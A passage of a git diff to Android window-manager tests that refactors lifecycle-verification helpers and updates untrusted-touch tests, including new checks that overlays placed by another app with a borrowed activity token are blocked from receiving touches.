@@ -64,13 +65,20 @@
 
     static <T extends FocusableActivity> T startActivity(Class<T> cls, int displayId,
             boolean hasFocus, int windowingMode) {
+        return startActivity(cls, displayId, hasFocus, windowingMode, INVALID_STACK_ID);
+    }
+
+    static <T extends FocusableActivity> T startActivity(Class<T> cls, int displayId,
+            boolean hasFocus, int windowingMode, int taskId) {
         final Bundle options;
-        if (displayId == DEFAULT_DISPLAY && windowingMode == WINDOWING_MODE_UNDEFINED) {
+        if (displayId == DEFAULT_DISPLAY && windowingMode == WINDOWING_MODE_UNDEFINED
+                && taskId == INVALID_STACK_ID) {
             options = null;
         } else {
             final ActivityOptions ap= ActivityOptions.makeBasic();
             if (displayId != DEFAULT_DISPLAY) ap.setLaunchDisplayId(displayId);
             if (windowingMode != WINDOWING_MODE_UNDEFINED) ap.setLaunchWindowingMode(windowingMode);
+            if (taskId != INVALID_STACK_ID) ap.setLaunchTaskId(taskId);
             options = ap.toBundle();
         }
         final T[] activity = (T[]) Array.newInstance(FocusableActivity.class, 1);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
index 449f28a..1ed5af8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
@@ -22,6 +22,7 @@
 import static android.server.wm.UiDeviceUtils.pressUnlockButton;
 import static android.server.wm.UiDeviceUtils.pressWakeupButton;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.overlay.Components.OverlayActivity.EXTRA_TOKEN;
 import static android.view.WindowInsets.Type.navigationBars;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
@@ -232,10 +233,10 @@
     }
 
     @Test
-    public void testWhenFeatureInDisabledModeAndOneSawWindowAbove_allowsTouch()
+    public void testWhenFeatureInDisabledModeAndActivityWindowAbove_allowsTouch()
             throws Throwable {
         setBlockUntrustedTouchesMode(FEATURE_MODE_DISABLED);
-        addSawOverlay(APP_A, WINDOW_1, /* opacity */ .9f);
+        addActivityOverlay(APP_A, /* opacity */ .9f);
 
         mTouchHelper.tapOnViewCenter(mContainer);
 
@@ -243,10 +244,10 @@
     }
 
     @Test
-    public void testWhenFeatureInPermissiveModeAndOneSawWindowAbove_allowsTouch()
+    public void testWhenFeatureInPermissiveModeAndActivityWindowAbove_allowsTouch()
             throws Throwable {
         setBlockUntrustedTouchesMode(FEATURE_MODE_PERMISSIVE);
-        addSawOverlay(APP_A, WINDOW_1, /* opacity */ .9f);
+        addActivityOverlay(APP_A, /* opacity */ .9f);
 
         mTouchHelper.tapOnViewCenter(mContainer);
 
@@ -513,15 +514,14 @@
         assertTouchNotReceived();
     }
 
-    /** Blocked due to b/194480991 */
     @Test
-    public void testWhenOneActivityWindowWithZeroOpacity_blocksTouch()
+    public void testWhenOneActivityWindowWithZeroOpacity_allowsTouch()
             throws Throwable {
         addActivityOverlay(APP_A, /* opacity */ 0f);
 
         mTouchHelper.tapOnViewCenter(mContainer);
 
-        assertTouchNotReceived();
+        assertTouchReceived();
     }
 
     @Test
@@ -545,9 +545,8 @@
     }
 
     @Test
-    public void testWhenOneSelfActivityChildWindow_allowsTouch() throws Throwable {
-        IBinder token = mActivity.getWindow().getAttributes().token;
-        addActivityChildWindow(APP_SELF, WINDOW_1, token);
+    public void testWhenOneSelfActivityWindow_allowsTouch() throws Throwable {
+        addActivityOverlay(APP_SELF, /* opacity */ .9f);
 
         mTouchHelper.tapOnViewCenter(mContainer);
 
@@ -634,6 +633,39 @@
         assertTouchReceived();
     }
 
+    @Test
+    public void testWhenActivityChildWindowWithDifferentTokenFromDifferentApp_blocksTouch()
+            throws Exception {
+        // Creates a new activity with 0 opacity
+        BlockingResultReceiver receiver = new BlockingResultReceiver();
+        addActivityOverlay(APP_A, /* opacity */ 0f, receiver);
+        // Verify it allows touches
+        mTouchHelper.tapOnViewCenter(mContainer);
+        assertTouchReceived();
+        // Now get its token and put a child window from another app with it
+        IBinder token = receiver.getData(TIMEOUT_MS).getBinder(EXTRA_TOKEN);
+        addActivityChildWindow(APP_B, WINDOW_1, token);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchNotReceived();
+    }
+
+    @Test
+    public void testWhenActivityChildWindowWithDifferentTokenFromSameApp_allowsTouch()
+            throws Exception {
+        // Creates a new activity with 0 opacity
+        BlockingResultReceiver receiver = new BlockingResultReceiver();
+        addActivityOverlay(APP_A, /* opacity */ 0f, receiver);
+        // Now get its token and put a child window owned by us
+        IBinder token = receiver.getData(TIMEOUT_MS).getBinder(EXTRA_TOKEN);
+        addActivityChildWindow(APP_SELF, WINDOW_1, token);
+
+        mTouchHelper.tapOnViewCenter(mContainer);
+
+        assertTouchReceived();
+    }
+
     /** Activity transitions */
 
     @Test
@@ -834,11 +866,10 @@
     }
 
     @Test
-    public void testWhenOneSelfCustomToastOneSelfActivityChildAndOneSawBelowThreshold_allowsTouch()
+    public void testWhenOneSelfCustomToastWindowOneSelfActivityWindowAndOneSawBelowThreshold_allowsTouch()
             throws Throwable {
-        IBinder token = mActivity.getWindow().getAttributes().token;
-        addActivityChildWindow(APP_SELF, WINDOW_1, token);
-        addSawOverlay(APP_A, WINDOW_2, .5f);
+        addActivityOverlay(APP_SELF, /* opacity */ .9f);
+        addSawOverlay(APP_A, WINDOW_1, .5f);
         addToastOverlay(APP_SELF, /* custom */ true);
 
         mTouchHelper.tapOnViewCenter(mContainer);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
index df015a6..b6eea5a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
@@ -71,10 +71,10 @@
     final ActivityTestRule mSlowActivityTestRule = new ActivityTestRule<>(
             SlowActivity.class, true /* initialTouchMode */, false /* launchActivity */);
 
-    private static LifecycleLog mLifecycleLog;
+    private static EventLog sEventLog;
 
     protected Context mTargetContext;
-    private LifecycleTracker mLifecycleTracker;
+    private EventTracker mTransitionTracker;
 
     @Before
     @Override
@@ -83,11 +83,11 @@
 
         mTargetContext = getInstrumentation().getTargetContext();
         // Log transitions for all activities that belong to this app.
-        mLifecycleLog = new LifecycleLog();
-        mLifecycleLog.clear();
+        sEventLog = new EventLog();
+        sEventLog.clear();
 
         // Track transitions and allow waiting for pending activity states.
-        mLifecycleTracker = new LifecycleTracker(mLifecycleLog);
+        mTransitionTracker = new EventTracker(sEventLog);
 
         // Some lifecycle tracking activities that have not been destroyed may affect the
         // verification of next test because of the lifecycle log. We need to wait them to be
@@ -252,7 +252,7 @@
     final void waitAndAssertActivityStates(
             Pair<Class<? extends Activity>, String>... activityCallbacks) {
         log("Start waitAndAssertActivityCallbacks");
-        mLifecycleTracker.waitAndAssertActivityStates(activityCallbacks);
+        mTransitionTracker.waitAndAssertActivityStates(activityCallbacks);
     }
 
     /**
@@ -262,35 +262,35 @@
     final void waitAndAssertActivityCurrentState(
             Class<? extends Activity> activityClass, String expectedState) {
         log("Start waitAndAssertActivityCurrentState");
-        mLifecycleTracker.waitAndAssertActivityCurrentState(activityClass, expectedState);
+        mTransitionTracker.waitAndAssertActivityCurrentState(activityClass, expectedState);
     }
 
     /**
      * Blocking call that will wait for activities to perform the expected sequence of transitions.
-     * @see LifecycleTracker#waitForActivityTransitions(Class, List)
+     * @see EventTracker#waitForActivityTransitions(Class, List)
      */
     final void waitForActivityTransitions(Class<? extends Activity> activityClass,
             List<String> expectedTransitions) {
         log("Start waitForActivityTransitions");
-        mLifecycleTracker.waitForActivityTransitions(activityClass, expectedTransitions);
+        mTransitionTracker.waitForActivityTransitions(activityClass, expectedTransitions);
     }
 
     /**
      * Blocking call that will wait for activities to perform the expected sequence of transitions.
      * After waiting it asserts that the sequence matches the expected.
-     * @see LifecycleTracker#waitForActivityTransitions(Class, List)
+     * @see EventTracker#waitForActivityTransitions(Class, List)
      */
     final void waitAndAssertActivityTransitions(Class<? extends Activity> activityClass,
             List<String> expectedTransitions, String message) {
         log("Start waitAndAssertActivityTransition");
-        mLifecycleTracker.waitForActivityTransitions(activityClass, expectedTransitions);
+        mTransitionTracker.waitForActivityTransitions(activityClass, expectedTransitions);
 
-        LifecycleVerifier.assertSequence(activityClass, getLifecycleLog(), expectedTransitions,
+        TransitionVerifier.assertSequence(activityClass, getTransitionLog(), expectedTransitions,
                 message);
     }
 
-    LifecycleLog getLifecycleLog() {
-        return mLifecycleLog;
+    EventLog getTransitionLog() {
+        return sEventLog;
     }
 
     static Pair<Class<? extends Activity>, String> state(Activity activity,
@@ -620,7 +620,7 @@
 
     void moveTaskToPrimarySplitScreenAndVerify(Activity primaryActivity,
             Activity secondaryActivity) throws Exception {
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
 
         mWmState.computeState(secondaryActivity.getComponentName());
         moveActivitiesToSplitScreen(primaryActivity.getComponentName(),
@@ -629,9 +629,9 @@
         final Class<? extends Activity> activityClass = primaryActivity.getClass();
 
         final List<String> expectedTransitions =
-                new ArrayList<>(LifecycleVerifier.getSplitScreenTransitionSequence(activityClass));
+                new ArrayList<>(TransitionVerifier.getSplitScreenTransitionSequence(activityClass));
         final List<String> expectedTransitionForMinimizedDock =
-                LifecycleVerifier.appendMinimizedDockTransitionTrail(expectedTransitions);
+                TransitionVerifier.appendMinimizedDockTransitionTrail(expectedTransitions);
 
         final int displayWindowingMode =
                 getDisplayWindowingModeByActivity(getComponentName(activityClass));
@@ -642,10 +642,10 @@
                     Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
         }
 
-        mLifecycleTracker.waitForActivityTransitions(activityClass, expectedTransitions);
-        LifecycleVerifier.assertSequenceMatchesOneOf(
+        mTransitionTracker.waitForActivityTransitions(activityClass, expectedTransitions);
+        TransitionVerifier.assertSequenceMatchesOneOf(
                 activityClass,
-                getLifecycleLog(),
+                getTransitionLog(),
                 Arrays.asList(expectedTransitions, expectedTransitionForMinimizedDock),
                 "enterSplitScreen");
     }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java
index 9dded99..07e4ac0 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java
@@ -29,6 +29,12 @@
 import static android.server.wm.lifecycle.LifecycleConstants.ON_RESUME;
 import static android.server.wm.lifecycle.LifecycleConstants.ON_TOP_POSITION_LOST;
 import static android.server.wm.lifecycle.LifecycleConstants.getComponentName;
+import static android.server.wm.lifecycle.TransitionVerifier.assertEmptySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertLaunchAndPauseSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertLaunchSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertRestartAndResumeSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertResumeToDestroySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertSequence;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assume.assumeTrue;
@@ -44,7 +50,7 @@
 import org.junit.Before;
 import org.junit.Test;
 
-import java.util.Arrays;
+import java.util.Collections;
 
 /**
  * Build/Install/Run:
@@ -77,8 +83,8 @@
         // Wait and assert resume
         waitAndAssertActivityState(getComponentName(FirstActivity.class), STATE_RESUMED,
                 "Activity should be resumed after launch");
-        LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog(),
+        assertLaunchSequence(FirstActivity.class, getTransitionLog());
+        assertLaunchSequence(CallbackTrackingActivity.class, getTransitionLog(),
                 ON_TOP_POSITION_LOST);
     }
 
@@ -113,10 +119,10 @@
         waitAndAssertActivityState(getComponentName(ThirdActivity.class), STATE_RESUMED, message);
 
         // Assert lifecycle
-        LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertLaunchSequence(SecondActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertLaunchSequence(ThirdActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog(),
+        assertLaunchSequence(FirstActivity.class, getTransitionLog());
+        assertLaunchSequence(SecondActivity.class, getTransitionLog());
+        assertLaunchSequence(ThirdActivity.class, getTransitionLog());
+        assertLaunchSequence(CallbackTrackingActivity.class, getTransitionLog(),
                 ON_TOP_POSITION_LOST);
     }
 
@@ -150,14 +156,14 @@
         waitAndAssertActivityState(getComponentName(ThirdActivity.class), STATE_RESUMED, message);
 
         // Assert lifecycle
-        LifecycleVerifier.assertLaunchAndStopSequence(FirstActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertLaunchSequence(SecondActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertLaunchSequence(ThirdActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog(),
+        TransitionVerifier.assertLaunchAndStopSequence(FirstActivity.class, getTransitionLog());
+        assertLaunchSequence(SecondActivity.class, getTransitionLog());
+        assertLaunchSequence(ThirdActivity.class, getTransitionLog());
+        assertLaunchSequence(CallbackTrackingActivity.class, getTransitionLog(),
                 ON_TOP_POSITION_LOST);
 
         // Finish the activity that was occluding the first one
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         secondActivity.finish();
 
         // Wait and assert the lifecycle
@@ -170,11 +176,10 @@
         assertFalse("Activity must be destroyed",
                 mWmState.containsWindow(
                         getWindowName(getComponentName(SecondActivity.class))));
-        LifecycleVerifier.assertRestartAndResumeSequence(FirstActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertResumeToDestroySequence(SecondActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertEmptySequence(ThirdActivity.class, getLifecycleLog(),
-                "finishInOtherStack");
-        LifecycleVerifier.assertEmptySequence(CallbackTrackingActivity.class, getLifecycleLog(),
+        assertRestartAndResumeSequence(FirstActivity.class, getTransitionLog());
+        assertResumeToDestroySequence(SecondActivity.class, getTransitionLog());
+        assertEmptySequence(ThirdActivity.class, getTransitionLog(), "finishInOtherStack");
+        assertEmptySequence(CallbackTrackingActivity.class, getTransitionLog(),
                 "finishInOtherStack");
     }
 
@@ -209,14 +214,14 @@
         waitAndAssertActivityState(getComponentName(ThirdActivity.class), STATE_RESUMED, message);
 
         // Assert lifecycle
-        LifecycleVerifier.assertLaunchAndPauseSequence(FirstActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertLaunchSequence(TranslucentActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertLaunchSequence(ThirdActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog(),
+        assertLaunchAndPauseSequence(FirstActivity.class, getTransitionLog());
+        assertLaunchSequence(TranslucentActivity.class, getTransitionLog());
+        assertLaunchSequence(ThirdActivity.class, getTransitionLog());
+        assertLaunchSequence(CallbackTrackingActivity.class, getTransitionLog(),
                 ON_TOP_POSITION_LOST);
 
         // Finish the activity that was occluding the first one
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         transparentActivity.finish();
 
         // Wait and assert the lifecycle
@@ -231,13 +236,13 @@
         assertFalse("Activity must be destroyed",
                 mWmState.containsWindow(
                         getWindowName(getComponentName(TranslucentActivity.class))));
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
-                Arrays.asList(ON_RESUME), "finishTranslucentOnTop");
-        LifecycleVerifier.assertResumeToDestroySequence(TranslucentActivity.class,
-                getLifecycleLog());
-        LifecycleVerifier.assertEmptySequence(ThirdActivity.class, getLifecycleLog(),
+        assertSequence(FirstActivity.class, getTransitionLog(),
+                Collections.singletonList(ON_RESUME), "finishTranslucentOnTop");
+        assertResumeToDestroySequence(TranslucentActivity.class,
+                getTransitionLog());
+        assertEmptySequence(ThirdActivity.class, getTransitionLog(),
                 "finishInOtherStack");
-        LifecycleVerifier.assertEmptySequence(CallbackTrackingActivity.class, getLifecycleLog(),
+        assertEmptySequence(CallbackTrackingActivity.class, getTransitionLog(),
                 "finishInOtherStack");
     }
 
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
index 2465c15..b958cd8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
@@ -22,6 +22,11 @@
 import static android.server.wm.lifecycle.LifecycleConstants.ON_RESUME;
 import static android.server.wm.lifecycle.LifecycleConstants.ON_START;
 import static android.server.wm.lifecycle.LifecycleConstants.ON_STOP;
+import static android.server.wm.lifecycle.TransitionVerifier.assertLaunchAndStopSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertRestartAndResumeSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertRestartAndResumeSubSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertResumeToStopSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertSequence;
 
 import static org.junit.Assume.assumeTrue;
 
@@ -33,6 +38,7 @@
 import org.junit.Test;
 
 import java.util.Arrays;
+import java.util.Collections;
 
 /**
  * Build/Install/Run:
@@ -53,7 +59,7 @@
                     .setExpectedState(ON_STOP)
                     .setNoInstance()
                     .launch();
-            LifecycleVerifier.assertLaunchAndStopSequence(FirstActivity.class, getLifecycleLog());
+            assertLaunchAndStopSequence(FirstActivity.class, getTransitionLog());
         }
     }
 
@@ -69,19 +75,17 @@
             lockScreenSession.setLockCredential().gotoKeyguard();
             waitAndAssertActivityStates(state(activity, ON_STOP));
 
-            LifecycleVerifier.assertLaunchAndStopSequence(FirstActivity.class, getLifecycleLog());
-            getLifecycleLog().clear();
+            assertLaunchAndStopSequence(FirstActivity.class, getTransitionLog());
+            getTransitionLog().clear();
         } // keyguard hidden
 
         // Verify that activity was resumed
         if (isCar()) {
-            LifecycleVerifier.assertRestartAndResumeSubSequence(FirstActivity.class,
-                    getLifecycleLog());
+            assertRestartAndResumeSubSequence(FirstActivity.class, getTransitionLog());
             waitAndAssertActivityCurrentState(activity.getClass(), ON_RESUME);
         } else {
             waitAndAssertActivityStates(state(activity, ON_RESUME));
-            LifecycleVerifier.assertRestartAndResumeSequence(FirstActivity.class,
-                    getLifecycleLog());
+            assertRestartAndResumeSequence(FirstActivity.class, getTransitionLog());
         }
     }
 
@@ -97,21 +101,21 @@
         moveTaskToPrimarySplitScreenAndVerify(firstActivity, secondaryActivity);
 
         // Show and hide lock screen
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
             lockScreenSession.setLockCredential().gotoKeyguard();
             waitAndAssertActivityStates(state(firstActivity, ON_STOP));
             waitAndAssertActivityStates(state(secondaryActivity, ON_STOP));
 
-            LifecycleVerifier.assertResumeToStopSequence(FirstActivity.class, getLifecycleLog());
-            LifecycleVerifier.assertResumeToStopSequence(SideActivity.class, getLifecycleLog());
-            getLifecycleLog().clear();
+            assertResumeToStopSequence(FirstActivity.class, getTransitionLog());
+            assertResumeToStopSequence(SideActivity.class, getTransitionLog());
+            getTransitionLog().clear();
         } // keyguard hidden
 
         waitAndAssertActivityStates(state(firstActivity, ON_RESUME),
                 state(secondaryActivity, ON_RESUME));
-        LifecycleVerifier.assertRestartAndResumeSequence(FirstActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertRestartAndResumeSequence(SideActivity.class, getLifecycleLog());
+        assertRestartAndResumeSequence(FirstActivity.class, getTransitionLog());
+        assertRestartAndResumeSequence(SideActivity.class, getTransitionLog());
     }
 
     @Test
@@ -126,7 +130,7 @@
         final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
 
         // Clear the log before launching to Pip
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
 
         // Launch Pip-capable activity and enter Pip immediately
         new Launcher(PipActivity.class)
@@ -138,23 +142,23 @@
         waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
 
         // Show and hide lock screen
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         try (final LockScreenSession lockScreenSession = new LockScreenSession()) {
             lockScreenSession.setLockCredential().gotoKeyguard();
             waitAndAssertActivityStates(state(firstActivity, ON_STOP));
             waitAndAssertActivityStates(state(PipActivity.class, ON_STOP));
 
-            LifecycleVerifier.assertResumeToStopSequence(FirstActivity.class, getLifecycleLog());
-            LifecycleVerifier.assertSequence(PipActivity.class, getLifecycleLog(),
-                    Arrays.asList(ON_STOP), "keyguardShown");
-            getLifecycleLog().clear();
+            assertResumeToStopSequence(FirstActivity.class, getTransitionLog());
+            assertSequence(PipActivity.class, getTransitionLog(),
+                    Collections.singletonList(ON_STOP), "keyguardShown");
+            getTransitionLog().clear();
         } // keyguard hidden
 
         // Wait and assert lifecycle
         waitAndAssertActivityStates(state(firstActivity, ON_RESUME),
                 state(PipActivity.class, ON_PAUSE));
-        LifecycleVerifier.assertRestartAndResumeSequence(FirstActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertSequence(PipActivity.class, getLifecycleLog(),
+        assertRestartAndResumeSequence(FirstActivity.class, getTransitionLog());
+        assertSequence(PipActivity.class, getTransitionLog(),
                 Arrays.asList(ON_RESTART, ON_START, ON_RESUME, ON_PAUSE), "keyguardGone");
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java
index 85bc07e..a1e4a5c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleLegacySplitScreenTests.java
@@ -33,7 +33,14 @@
 import static android.server.wm.lifecycle.LifecycleConstants.ON_TOP_POSITION_LOST;
 import static android.server.wm.lifecycle.LifecycleConstants.ON_USER_LEAVE_HINT;
 import static android.server.wm.lifecycle.LifecycleConstants.getComponentName;
-import static android.server.wm.lifecycle.LifecycleVerifier.transition;
+import static android.server.wm.lifecycle.TransitionVerifier.assertLaunchSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertOrder;
+import static android.server.wm.lifecycle.TransitionVerifier.assertRecreateAndResumeSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertRestartAndResumeSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertResumeToDestroySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertTransitionObserved;
+import static android.server.wm.lifecycle.TransitionVerifier.transition;
 
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
@@ -86,7 +93,7 @@
         moveTaskToPrimarySplitScreenAndVerify(secondActivity, sideActivity);
 
         // CLear logs so we can capture just the destroy sequence
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
 
         // Start an activity in separate task (will be placed in secondary stack)
         mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
@@ -102,10 +109,10 @@
 
         // Verify that the first activity was recreated to resume as it was created before
         // windowing mode was switched
-        LifecycleVerifier.assertRecreateAndResumeSequence(FirstActivity.class, getLifecycleLog());
+        assertRecreateAndResumeSequence(FirstActivity.class, getTransitionLog());
 
         // Verify that the lifecycle state did not change for activity in non-focused stack
-        LifecycleVerifier.assertLaunchSequence(ThirdActivity.class, getLifecycleLog());
+        assertLaunchSequence(ThirdActivity.class, getTransitionLog());
     }
 
     @Test
@@ -120,7 +127,7 @@
         moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
 
         // Launch third activity on top of second
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
         new Launcher(ThirdActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
@@ -142,7 +149,7 @@
         moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
 
         // Launch translucent activity on top of second
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
 
         mTaskOrganizer.setLaunchRoot(mTaskOrganizer.getSecondarySplitTaskId());
         new Launcher(TranslucentActivity.class)
@@ -184,13 +191,13 @@
         moveTaskToPrimarySplitScreenAndVerify(secondActivity, sideActivity);
 
         // Finish top activity and verify that activity below became focused.
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         secondActivity.setResult(Activity.RESULT_OK);
         secondActivity.finish();
 
         // Check that activity was restarted and result was delivered
         waitAndAssertActivityStates(state(callbackTrackingActivity, ON_RESUME));
-        LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
+        assertSequence(CallbackTrackingActivity.class, getTransitionLog(),
                 Arrays.asList(ON_DESTROY, ON_CREATE, ON_START, ON_POST_CREATE,
                         ON_ACTIVITY_RESULT, ON_RESUME), "restart");
     }
@@ -213,14 +220,14 @@
                 .launch();
 
         // Launch second activity, first become stopped
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         final Activity secondActivity = launchActivityAndWait(SecondActivity.class);
 
         // Wait for second activity to resume and first to stop
         waitAndAssertActivityStates(state(newTaskActivity, ON_STOP));
 
         // Finish top activity
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         secondActivity.finish();
 
         waitAndAssertActivityStates(state(newTaskActivity, ON_RESUME));
@@ -228,8 +235,8 @@
 
         // Verify that the first activity was restarted to resumed state as it was brought back
         // after windowing mode was switched
-        LifecycleVerifier.assertRestartAndResumeSequence(ThirdActivity.class, getLifecycleLog());
-        LifecycleVerifier.assertResumeToDestroySequence(SecondActivity.class, getLifecycleLog());
+        assertRestartAndResumeSequence(ThirdActivity.class, getTransitionLog());
+        assertResumeToDestroySequence(SecondActivity.class, getTransitionLog());
     }
 
     @Test
@@ -252,17 +259,17 @@
                 sideActivity.getComponentName());
 
         // Finish top activity
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         translucentActivity.finish();
 
         waitAndAssertActivityStates(state(firstActivity, ON_RESUME));
         waitAndAssertActivityStates(state(translucentActivity, ON_DESTROY));
 
         // Verify that the first activity was resumed
-        LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
+        assertSequence(FirstActivity.class, getTransitionLog(),
                 Arrays.asList(ON_RESUME), "resume");
-        LifecycleVerifier.assertResumeToDestroySequence(TranslucentActivity.class,
-                getLifecycleLog());
+        assertResumeToDestroySequence(TranslucentActivity.class,
+                getTransitionLog());
     }
 
     @Test
@@ -276,10 +283,10 @@
                 .launch();
 
         // Wait for the activity to resume
-        LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog());
+        assertLaunchSequence(CallbackTrackingActivity.class, getTransitionLog());
 
         // Enter split screen
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         moveTaskToPrimarySplitScreenAndVerify(firstActivity, sideActivity);
 
         // Wait for the activity to relaunch and receive multi-window mode change
@@ -288,12 +295,12 @@
                         ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED,
                         ON_TOP_POSITION_LOST, ON_PAUSE);
         waitForActivityTransitions(CallbackTrackingActivity.class, expectedEnterSequence);
-        LifecycleVerifier.assertOrder(getLifecycleLog(), CallbackTrackingActivity.class,
+        assertOrder(getTransitionLog(), CallbackTrackingActivity.class,
                 Arrays.asList(ON_TOP_POSITION_LOST, ON_PAUSE, ON_STOP, ON_DESTROY, ON_CREATE,
                         ON_RESUME), "moveToSplitScreen");
 
         // Exit split-screen
-        getLifecycleLog().clear();
+        getTransitionLog().clear();
         dismissSplitScreen(true /* primaryOnTop */);
 
         // Wait for the activity to relaunch and receive multi-window mode change
@@ -301,7 +308,7 @@
                 Arrays.asList(ON_STOP, ON_DESTROY, ON_CREATE, ON_START,
                         ON_POST_CREATE, ON_RESUME, ON_PAUSE, ON_RESUME, ON_TOP_POSITION_GAINED);
         waitForActivityTransitions(CallbackTrackingActivity.class, expectedExitSequence);
-        LifecycleVerifier.assertOrder(getLifecycleLog(), CallbackTrackingActivity.class,
+        assertOrder(getTransitionLog(), CallbackTrackingActivity.class,
                 Arrays.asList(ON_DESTROY, ON_CREATE, ON_RESUME, ON_TOP_POSITION_GAINED),
                 "moveFromSplitScreen");
     }
@@ -325,7 +332,7 @@
             // Wait for the activity to receive the change.
             waitForActivityTransitions(LifecycleConfigChangeHandlingActivity.class,
                     Arrays.asList(ON_TOP_POSITION_LOST, ON_MULTI_WINDOW_MODE_CHANGED));
-            LifecycleVerifier.assertOrder(getLifecycleLog(),
+            assertOrder(getTransitionLog(),
                     LifecycleConfigChangeHandlingActivity.class,
                     Arrays.asList(ON_MULTI_WINDOW_MODE_CHANGED, ON_TOP_POSITION_LOST),
                     "moveToSplitScreen");
@@ -333,13 +340,13 @@
             // For non-fullscreen display mode, there won't be a multi-window callback.
